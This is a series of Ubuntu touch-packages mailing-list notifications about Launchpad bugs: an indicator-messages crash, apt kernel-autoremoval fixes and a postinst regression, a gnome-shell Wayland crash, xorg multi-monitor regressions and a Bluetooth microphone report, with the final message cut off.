Yes the latest 3 crashes are from 22.08.8-1ubuntu6 ** Changed in: accountsservice (Ubuntu) Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to accountsservice in Ubuntu. https://bugs.launchpad.net/bugs/2015962 Title: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object_unref() from im_accounts_service_dispose() Status in accountsservice package in Ubuntu: Confirmed Status in indicator-messages package in Ubuntu: Confirmed Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding indicator-messages. This problem was most recently seen with package version 13.10.1+18.10.20180918-0ubuntu3, the problem page at https://errors.ubuntu.com/problem/94c77bb11d79da78a8cb610adb9252f41d2ab4a4 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/accountsservice/+bug/2015962/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015962] Re: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object
Is that still an issue with https://bugs.launchpad.net/ubuntu/+source/accountsservice/22.08.8-1ubuntu6 ? ** Changed in: accountsservice (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to accountsservice in Ubuntu. https://bugs.launchpad.net/bugs/2015962 Title: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object_unref() from im_accounts_service_dispose() Status in accountsservice package in Ubuntu: Incomplete Status in indicator-messages package in Ubuntu: Confirmed Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding indicator-messages. This problem was most recently seen with package version 13.10.1+18.10.20180918-0ubuntu3, the problem page at https://errors.ubuntu.com/problem/94c77bb11d79da78a8cb610adb9252f41d2ab4a4 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/accountsservice/+bug/2015962/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015962] Re: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: indicator-messages (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to accountsservice in Ubuntu. https://bugs.launchpad.net/bugs/2015962 Title: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object_unref() from im_accounts_service_dispose() Status in accountsservice package in Ubuntu: Incomplete Status in indicator-messages package in Ubuntu: Confirmed Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding indicator-messages. This problem was most recently seen with package version 13.10.1+18.10.20180918-0ubuntu3, the problem page at https://errors.ubuntu.com/problem/94c77bb11d79da78a8cb610adb9252f41d2ab4a4 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/accountsservice/+bug/2015962/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1615381] Re: apt-get autoremove may remove current kernel
This bug was fixed in the package apt - 1.6.17 --- apt (1.6.17) bionic; urgency=medium * Bump cache minor version for kernel collection. The previous update introduced the new kernel autoremoval code which collects kernels in the cache as providers of a $kernel package. We need to bump the cache minor version for this as otherwise the $kernel package might not exist and all kernels end up autoremovable until a package got installed or sources updated. apt (1.6.16) bionic; urgency=medium * postinst: Do not run removed kernel postinst.d script (LP: #1974456) apt (1.6.15) bionic; urgency=medium * Revert "Protect currently running kernel at run-time" * Backport Determine autoremovable kernels at run-time (LP: #1615381) as of 2.4.5; including the change to only protect two kernels, not last installed one (LP: #1968154) -- Julian Andres Klode Fri, 12 Aug 2022 12:38:33 +0200 ** Changed in: apt (Ubuntu Bionic) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unattended-upgrades in Ubuntu. https://bugs.launchpad.net/bugs/1615381 Title: apt-get autoremove may remove current kernel Status in apt package in Ubuntu: Fix Released Status in unattended-upgrades package in Ubuntu: Fix Released Status in unattended-upgrades source package in Trusty: Won't Fix Status in unattended-upgrades source package in Xenial: Fix Released Status in unattended-upgrades source package in Artful: Won't Fix Status in apt source package in Bionic: Fix Released Status in apt source package in Focal: Fix Released Status in apt source package in Groovy: Fix Released Status in apt source package in Hirsute: Fix Released Bug description: [Impact] APT will try and fail to remove the currently running kernel, when booted into an older kernel that is not protected. May wreak some havoc if mixed with other operations to the point that apt goes weird and needs manual fixing up. [Test case] For the SRUs we have included an automated test case that starts with an empty autoremove config file, and then checks that the running kernel is protected at runtime. You can also test manually, but it's not necessary: - Install new kernel - Reboot into kernel not listed as protected in 01autoremove-kernels - Run autoremove [Where problems could occur] We may more easily run out of space in /boot. hirsute has new autoremoval code that runs completely at runtime; but that seems a bit large to SRU after only a few weeks in hirsute. Hence, we should protect the current kernel _in addition_ to the other kernels, just like unattended-upgrades and update-manager do. This increases the risk of filling up /boot compared to older apt versions, but is at the same level as unattended-upgrades and update-manager. [Original bug report] This may happen, if you boot one of the older kernels, that is not protected by /etc/apt/apt.conf.d/01autoremove-kernels Workaround: run /etc/kernel/postinst.d/apt-auto-removal during each boot (e.g. by using cron). Note: The workaround breaks autoremoving feature of new unneeded kernels in unattended-upgrades i.e. the setting 'Unattended-Upgrade::Remove-New-Unused-Dependencies "true"' (which is default in 16.04 unless 'Unattended-Upgrade::Remove-Unused-Dependencies "true"' is set in '/etc/apt/apt.conf.d/50unattended-upgrades'. In shell: $ uname -r 4.4.0-22-generic $ apt-get -s autoremove NOTE: This is only a simulation! apt-get needs root privileges for real execution. Keep also in mind that locking is deactivated, so don't depend on the relevance to the real current situation! Reading package lists... Done Building dependency tree Reading state information... Done The following packages will be REMOVED: linux-headers-4.4.0-21 linux-headers-4.4.0-21-generic linux-headers-4.4.0-22 linux-headers-4.4.0-22-generic linux-headers-4.4.0-31-generic linux-image-4.4.0-21-generic linux-image-4.4.0-22-generic linux-image-4.4.0-31-generic linux-image-extra-4.4.0-21-generic linux-image-extra-4.4.0-22-generic linux-image-extra-4.4.0-31-generic 0 upgraded, 0 newly installed, 11 to remove and 13 not upgraded. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: apt 1.2.12~ubuntu16.04.1 ProcVersionSignature: Ubuntu 4.4.0-22.40-generic 4.4.8 Uname: Linux 4.4.0-22-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 CurrentDesktop: XFCE Date: Sun Aug 21 16:11:27 2016 EcryptfsInUse: Yes InstallationDate: Installed on 2016-04-28 (114 days ago) InstallationMedia: Xubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) SourcePackage: apt UpgradeStatus: No upgrade log present (probably fresh install) modified.conffile..etc.kernel.postinst.d.apt-auto-removal: [modified]
[Touch-packages] [Bug 1968154] Re: Only keep 2 kernels
This bug was fixed in the package apt - 1.6.17 --- apt (1.6.17) bionic; urgency=medium * Bump cache minor version for kernel collection. The previous update introduced the new kernel autoremoval code which collects kernels in the cache as providers of a $kernel package. We need to bump the cache minor version for this as otherwise the $kernel package might not exist and all kernels end up autoremovable until a package got installed or sources updated. apt (1.6.16) bionic; urgency=medium * postinst: Do not run removed kernel postinst.d script (LP: #1974456) apt (1.6.15) bionic; urgency=medium * Revert "Protect currently running kernel at run-time" * Backport Determine autoremovable kernels at run-time (LP: #1615381) as of 2.4.5; including the change to only protect two kernels, not last installed one (LP: #1968154) -- Julian Andres Klode Fri, 12 Aug 2022 12:38:33 +0200 ** Changed in: apt (Ubuntu Bionic) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1968154 Title: Only keep 2 kernels Status in apt package in Ubuntu: Fix Released Status in apt source package in Bionic: Fix Released Status in apt source package in Focal: Fix Released Status in apt source package in Impish: Fix Released Bug description: [Impact] APT currently keeps 3 kernels or even 4 in some releases. Our boot partition is sized for a steady state of 2 kernels + 1 new one being unpacked, hence users run out of space and new kernels fail to install, upgrade runs might abort in the middle. It's not nice. [Test plan] 1. Have two kernels installed (let's call them version 3, 2) 2. Check that both kernels are not autoremovable 3. Install an old kernel (let's call it 1), and mark it automatic 4. Check that 1 will be autoremovable (apt autoremove -s) 5. Reboot into 1, check that 2 is autoremovable (apt autoremove -s) 6. Actually remove 2 7. Reboot into 3 and check that both 1 and 3 are now not autoremovable [Where problems could occur] We could keep the wrong kernels installed that the user did not expect. We remove the requirement to keep the most recently installed version, previously recorded in APT::LastInstalledKernel, to achieve this, as we had 3 hard requirements so far: 1. keep booted kernel 2. keep highest version 3. keep most recently installed 1 can't be removed as it would break running systems, 2 is what you definitely want to keep. During normal system lifetime, the most recently installed kernel is the same as the highest version, so 2==3, and there are no changes to behavior. Likewise, if you most recently installed an older kernel manually for debugging, it would be manually installed and not subject to removal, even if the rule is dropped. The behavior really only changes if you install an older kernel, and then mark it auto - that older kernel becomes automatically removable immediately after it is marked as auto. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1968154/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1974456] Re: regression: apt.postint fails if never previously configured
This bug was fixed in the package apt - 1.6.17 --- apt (1.6.17) bionic; urgency=medium * Bump cache minor version for kernel collection. The previous update introduced the new kernel autoremoval code which collects kernels in the cache as providers of a $kernel package. We need to bump the cache minor version for this as otherwise the $kernel package might not exist and all kernels end up autoremovable until a package got installed or sources updated. apt (1.6.16) bionic; urgency=medium * postinst: Do not run removed kernel postinst.d script (LP: #1974456) apt (1.6.15) bionic; urgency=medium * Revert "Protect currently running kernel at run-time" * Backport Determine autoremovable kernels at run-time (LP: #1615381) as of 2.4.5; including the change to only protect two kernels, not last installed one (LP: #1968154) -- Julian Andres Klode Fri, 12 Aug 2022 12:38:33 +0200 ** Changed in: apt (Ubuntu Bionic) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1974456 Title: regression: apt.postint fails if never previously configured Status in apt package in Ubuntu: Confirmed Status in apt source package in Bionic: Fix Released Status in apt source package in Focal: Fix Released Bug description: [Impact] bootstrapping a system with apt that fixes #1968154 fails in focal and bionic, as they try to execute the config file that is being removed. This is not a problem on updates, only on new installs, so impact is limited to bootstrapping tools that enable -updates, such as mmdebstrap. [Test case] bootstrapping with -updates enabled can easily be tested with mmdebstrap: mmdebstrap -v focal ~/Projects/Ubuntu/Scratch/focal for example, on focal: Setting up apt (2.0.8) ... /var/lib/dpkg/info/apt.postinst: 65: /etc/kernel/postinst.d/apt-auto-removal: not found dpkg: error processing package apt (--configure): installed apt package post-installation script subprocess returned error exit status 127 [Regression potential] We remove 5 lines from the shell postinst script, there could be syntax errors? But then we'd see those during upgrades, so practically none. [Original bug report] #1968154 removed `/etc/kernel/postinst.d/apt-auto-removal` in this patch: https://git.launchpad.net/ubuntu/+source/apt/commit/?id=f9d2d993687c0d5223c241956ef6a0aabcf15bf0 ...but `apt.postinst` still tries to run it: # create kernel autoremoval blacklist on update if dpkg --compare-versions "$2" lt 0.9.9.3; then /etc/kernel/postinst.d/apt-auto-removal fi If I understand correctly, "$2" is the most-recently-configured- version, and if it's empty `dpkg --compare-versions lt` will evaluate to true. This fails when I'm building a focal (20.04) userspace from scratch: $ dpkg --configure -a [...] Setting up apt (2.0.8) ... /var/lib/dpkg/info/apt.postinst: 65: /etc/kernel/postinst.d/apt-auto-removal: not found dpkg: error processing package apt (--configure): installed apt package post-installation script subprocess returned error exit status 127 It works with apt 2.0.6. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1974456/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015479] Re: gnome-shell crashed with SIGSEGV in verify_objects() from handle_array() from wl_resource_post_event_array()
Tracking in https://errors.ubuntu.com/problem/f6459f3a61c11eabba59880504ab72ab6e7707d7 ** Description changed: + https://errors.ubuntu.com/problem/f6459f3a61c11eabba59880504ab72ab6e7707d7 + + --- + after clicking the screenshot icon in the top panel right corner control centre, my google chrome window crashed and the screenshots were not taken. The system then automatically logged me out closing all my other windows. ProblemType: Crash DistroRelease: Ubuntu 23.04 Package: gnome-shell 44.0-2ubuntu3 Uname: Linux 6.2.0-19-generic x86_64 Architecture: amd64 CrashCounter: 1 CurrentDesktop: ubuntu:GNOME Date: Thu Apr 6 19:35:53 2023 ExecutablePath: /usr/bin/gnome-shell ExecutableTimestamp: 1680272303 ProcCmdline: /usr/bin/gnome-shell ProcCwd: /home/ochego Signal: 11 SourcePackage: gnome-shell UserGroups: adm cdrom dip lpadmin plugdev sudo users -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to wayland in Ubuntu. https://bugs.launchpad.net/bugs/2015479 Title: gnome-shell crashed with SIGSEGV in verify_objects() from handle_array() from wl_resource_post_event_array() Status in gnome-shell package in Ubuntu: Confirmed Status in wayland package in Ubuntu: Confirmed Bug description: https://errors.ubuntu.com/problem/f6459f3a61c11eabba59880504ab72ab6e7707d7 --- after clicking the screenshot icon in the top panel right corner control centre, my google chrome window crashed and the screenshots were not taken. The system then automatically logged me out closing all my other windows. ProblemType: Crash DistroRelease: Ubuntu 23.04 Package: gnome-shell 44.0-2ubuntu3 Uname: Linux 6.2.0-19-generic x86_64 Architecture: amd64 CrashCounter: 1 CurrentDesktop: ubuntu:GNOME Date: Thu Apr 6 19:35:53 2023 ExecutablePath: /usr/bin/gnome-shell ExecutableTimestamp: 1680272303 ProcCmdline: /usr/bin/gnome-shell ProcCwd: /home/ochego Signal: 11 SourcePackage: gnome-shell UserGroups: adm cdrom dip lpadmin plugdev sudo users To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/2015479/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015479] Re: google chrome crash and logging out during screenshot: ubuntu 23.04 beta
** Also affects: wayland (Ubuntu) Importance: Undecided Status: New ** Summary changed: - google chrome crash and logging out during screenshot: ubuntu 23.04 beta + gnome-shell crashed with SIGSEGV in verify_objects() from handle_array() from wl_resource_post_event_array() ** Attachment removed: "CoreDump.gz" https://bugs.launchpad.net/ubuntu/+source/wayland/+bug/2015479/+attachment/5661637/+files/CoreDump.gz ** Information type changed from Private to Public -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to wayland in Ubuntu. https://bugs.launchpad.net/bugs/2015479 Title: gnome-shell crashed with SIGSEGV in verify_objects() from handle_array() from wl_resource_post_event_array() Status in gnome-shell package in Ubuntu: Confirmed Status in wayland package in Ubuntu: Confirmed Bug description: https://errors.ubuntu.com/problem/f6459f3a61c11eabba59880504ab72ab6e7707d7 --- after clicking the screenshot icon in the top panel right corner control centre, my google chrome window crashed and the screenshots were not taken. The system then automatically logged me out closing all my other windows. ProblemType: Crash DistroRelease: Ubuntu 23.04 Package: gnome-shell 44.0-2ubuntu3 Uname: Linux 6.2.0-19-generic x86_64 Architecture: amd64 CrashCounter: 1 CurrentDesktop: ubuntu:GNOME Date: Thu Apr 6 19:35:53 2023 ExecutablePath: /usr/bin/gnome-shell ExecutableTimestamp: 1680272303 ProcCmdline: /usr/bin/gnome-shell ProcCwd: /home/ochego Signal: 11 SourcePackage: gnome-shell UserGroups: adm cdrom dip lpadmin plugdev sudo users To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/2015479/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015479] Re: gnome-shell crashed with SIGSEGV in verify_objects() from handle_array() from wl_resource_post_event_array()
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: wayland (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to wayland in Ubuntu. https://bugs.launchpad.net/bugs/2015479 Title: gnome-shell crashed with SIGSEGV in verify_objects() from handle_array() from wl_resource_post_event_array() Status in gnome-shell package in Ubuntu: Confirmed Status in wayland package in Ubuntu: Confirmed Bug description: https://errors.ubuntu.com/problem/f6459f3a61c11eabba59880504ab72ab6e7707d7 --- after clicking the screenshot icon in the top panel right corner control centre, my google chrome window crashed and the screenshots were not taken. The system then automatically logged me out closing all my other windows. ProblemType: Crash DistroRelease: Ubuntu 23.04 Package: gnome-shell 44.0-2ubuntu3 Uname: Linux 6.2.0-19-generic x86_64 Architecture: amd64 CrashCounter: 1 CurrentDesktop: ubuntu:GNOME Date: Thu Apr 6 19:35:53 2023 ExecutablePath: /usr/bin/gnome-shell ExecutableTimestamp: 1680272303 ProcCmdline: /usr/bin/gnome-shell ProcCwd: /home/ochego Signal: 11 SourcePackage: gnome-shell UserGroups: adm cdrom dip lpadmin plugdev sudo users To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/2015479/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015479] Re: gnome-shell crashed with SIGSEGV in verify_objects() from handle_array() from wl_resource_post_event_array()
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: gnome-shell (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to wayland in Ubuntu. https://bugs.launchpad.net/bugs/2015479 Title: gnome-shell crashed with SIGSEGV in verify_objects() from handle_array() from wl_resource_post_event_array() Status in gnome-shell package in Ubuntu: Confirmed Status in wayland package in Ubuntu: Confirmed Bug description: https://errors.ubuntu.com/problem/f6459f3a61c11eabba59880504ab72ab6e7707d7 --- after clicking the screenshot icon in the top panel right corner control centre, my google chrome window crashed and the screenshots were not taken. The system then automatically logged me out closing all my other windows. ProblemType: Crash DistroRelease: Ubuntu 23.04 Package: gnome-shell 44.0-2ubuntu3 Uname: Linux 6.2.0-19-generic x86_64 Architecture: amd64 CrashCounter: 1 CurrentDesktop: ubuntu:GNOME Date: Thu Apr 6 19:35:53 2023 ExecutablePath: /usr/bin/gnome-shell ExecutableTimestamp: 1680272303 ProcCmdline: /usr/bin/gnome-shell ProcCwd: /home/ochego Signal: 11 SourcePackage: gnome-shell UserGroups: adm cdrom dip lpadmin plugdev sudo users To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/2015479/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015962] Re: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object
** Summary changed: - /usr/lib/x86_64-linux-gnu/indicator-messages/indicator-messages-service:11:g_type_check_instance:g_signal_handlers_disconnect_matched:act_user_manager_finalize:g_object_unref:im_accounts_service_dispose + indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object_unref() from im_accounts_service_dispose() -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to accountsservice in Ubuntu. https://bugs.launchpad.net/bugs/2015962 Title: indicator-messages-service crashed with SIGSEGV in g_type_check_instance() from g_signal_handlers_disconnect_matched() from act_user_manager_finalize() from g_object_unref() from im_accounts_service_dispose() Status in accountsservice package in Ubuntu: New Status in indicator-messages package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding indicator-messages. This problem was most recently seen with package version 13.10.1+18.10.20180918-0ubuntu3, the problem page at https://errors.ubuntu.com/problem/94c77bb11d79da78a8cb610adb9252f41d2ab4a4 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/accountsservice/+bug/2015962/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015345] Re: Intermittent problems with second monitor after xorg security updates
** Package changed: xorg (Ubuntu) => xorg-server (Ubuntu) ** Tags added: multimonitor regression-update -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/2015345 Title: Intermittent problems with second monitor after xorg security updates Status in xorg-server package in Ubuntu: New Bug description: I am running Ubuntu 22.04.2 LTS on a Dell 5410 laptop. Typically it is connected to a Dell WD19 docking station with an attached monitor. I have been having issues with using two monitors at once since a recent security update to several xorg packages. Since the update of: Upgrade: xserver-xorg-core:amd64 (2:21.1.3-2ubuntu2, 2:21.1.3-2ubuntu2.9), xserver-xorg-legacy:amd64 (2:21.1.3-2ubuntu2, 2:21.1.3-2ubuntu2.9), xserver-common:amd64 (2:21.1.3-2ubuntu2, 2:21.1.3-2ubuntu2.9), xwayland:amd64 (2:22.1.1-1, 2:22.1.1-1ubuntu0.6), xserver-xephyr:amd64 (2:21.1.3-2ubuntu2, 2:21.1.3-2ubuntu2.9) sometimes only one monitor works at a time: the external one when the docking station is attached and the internal screen when not. Several times, after a reboot - only one monitor was available. When only one is working the display settings show there only being one monitor. Sometimes both work for a while, and then the problem starts. It is not clear to me what triggers the problem. Once the bug triggers, disconnecting the laptop from the docking station and reconnecting does not seem to get the system back to using both monitors at once. Detaching and the reattaching the monitor from the Docking station helped once. After a downgrade back to the versions - things seemed to work fine again. I downgraded to the following package versions to avoid the issue Downgrade: xserver-xorg-core:amd64 (2:21.1.3-2ubuntu2.9, 2:21.1.3-2ubuntu2), xserver-xorg-legacy:amd64 (2:21.1.3-2ubuntu2.9, 2:21.1.3-2ubuntu2), xserver-common:amd64 (2:21.1.3-2ubuntu2.9, 2:21.1.3-2ubuntu2), xwayland:amd64 (2:22.1.1-1ubuntu0.6, 2:22.1.1-1), xserver-xephyr:amd64 (2:21.1.3-2ubuntu2.9, 2:21.1.3-2ubuntu2) and after reinstalling the updates again experienced problems. It seemed that things were fine when xserver-xorg-core:amd64, xserver-common:amd64, xserver-xorg-legacy:amd64, server-xephyr:amd64 were all on version 2:21.1.3-2ubuntu2.7 and xwayland:amd64 was on version 2:22.1.1-1ubuntu0.5 but I am not sure about with 2:21.1.3-2ubuntu2.8 as I do not think the system was restarted after the update from 2:21.1.3-2ubuntu2.7 to 2:21.1.3-2ubuntu2.8. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: xorg 1:7.7+23ubuntu2 ProcVersionSignature: Ubuntu 5.19.0-38.39~22.04.1-generic 5.19.17 Uname: Linux 5.19.0-38-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.3 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: unknown CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Wed Apr 5 11:22:07 2023 DistUpgraded: 2023-03-09 23:44:15,474 DEBUG Running PostInstallScript: '/usr/lib/ubuntu-advantage/upgrade_lts_contract.py' DistroCodename: jammy DistroVariant: ubuntu DpkgLog: ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation CometLake-U GT2 [UHD Graphics] [8086:9b41] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Dell CometLake-U GT2 [UHD Graphics] [1028:09a0] InstallationDate: Installed on 2020-12-02 (853 days ago) InstallationMedia: Ubuntu 20.04.1 LTS "Focal Fossa" - Release amd64 (20200731) MachineType: Dell Inc. Latitude 5410 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.19.0-38-generic root=UUID=9835c982-ea8c-412d-bd72-92c8986e762a ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: Upgraded to jammy on 2023-03-09 (26 days ago) dmi.bios.date: 09/15/2022 dmi.bios.release: 1.17 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.17.0 dmi.board.name: 06KF2W dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 10 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr1.17.0:bd09/15/2022:br1.17:svnDellInc.:pnLatitude5410:pvr:rvnDellInc.:rn06KF2W:rvrA00:cvnDellInc.:ct10:cvr:sku09A0: dmi.product.family: Latitude dmi.product.name: Latitude 5410 dmi.product.sku: 09A0 dmi.sys.vendor: Dell Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.113-2~ubuntu0.22.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 22.2.5-0ubuntu0.1~22.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 22.2.5-0ubuntu0.1~22.04.1 version.xserver-xorg-core: xserver-xorg-core 2:21.1.3-2ubuntu2.9 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20210115-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-2build1 To
[Touch-packages] [Bug 2015962] Re: /usr/lib/x86_64-linux-gnu/indicator-messages/indicator-messages-service:11:g_type_check_instance:g_signal_handlers_disconnect_matched:act_user_manager_finalize:g_obj
** Also affects: accountsservice (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to accountsservice in Ubuntu. https://bugs.launchpad.net/bugs/2015962 Title: /usr/lib/x86_64-linux-gnu/indicator-messages/indicator-messages- service:11:g_type_check_instance:g_signal_handlers_disconnect_matched:act_user_manager_finalize:g_object_unref:im_accounts_service_dispose Status in accountsservice package in Ubuntu: New Status in indicator-messages package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding indicator-messages. This problem was most recently seen with package version 13.10.1+18.10.20180918-0ubuntu3, the problem page at https://errors.ubuntu.com/problem/94c77bb11d79da78a8cb610adb9252f41d2ab4a4 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/accountsservice/+bug/2015962/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2009910] Re: After updrade (apt), my bluetooth headset microphone doesn't works
The list of packages mentioned here are not related to audio or Bluetooth. Do you mean that the mic stopped working after upgrading from 22.04 to 22.10? ** Package changed: bluez (Ubuntu) => ubuntu ** Changed in: ubuntu Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to bluez in Ubuntu. https://bugs.launchpad.net/bugs/2009910 Title: After updrade (apt), my bluetooth headset microphone doesn't works Status in Ubuntu: Incomplete Bug description: Stop working after that upgrade. Start-Date: 2023-03-09 19:39:40 Commandline: packagekit role='update-packages' Requested-By: kea (1000) Upgrade: udev:amd64 (251.4-1ubuntu7, 251.4-1ubuntu7.1), xscreensaver-screensaver-bsod:amd64 (6.02+dfsg1-2ubuntu1, 6.02+dfsg1-2ubuntu1.2), google-chrome-stable:amd64 (110.0.5481.177-1, 111.0.5563.64-1), systemd-timesyncd:amd64 (251.4-1ubuntu7, 251.4-1ubuntu7.1), xscreensaver-gl-extra:amd64 (6.02+dfsg1-2ubuntu1, 6.02+dfsg1-2ubuntu1.2), libpam-systemd:amd64 (251.4-1ubuntu7, 251.4-1ubuntu7.1), libyaml-snake-java:amd64 (1.29-1, 1.29-1ubuntu0.22.10.1), libsystemd0:amd64 (251.4-1ubuntu7, 251.4-1ubuntu7.1), libsystemd0:i386 (251.4-1ubuntu7, 251.4-1ubuntu7.1), xscreensaver-gl:amd64 (6.02+dfsg1-2ubuntu1, 6.02+dfsg1-2ubuntu1.2), libnss-systemd:amd64 (251.4-1ubuntu7, 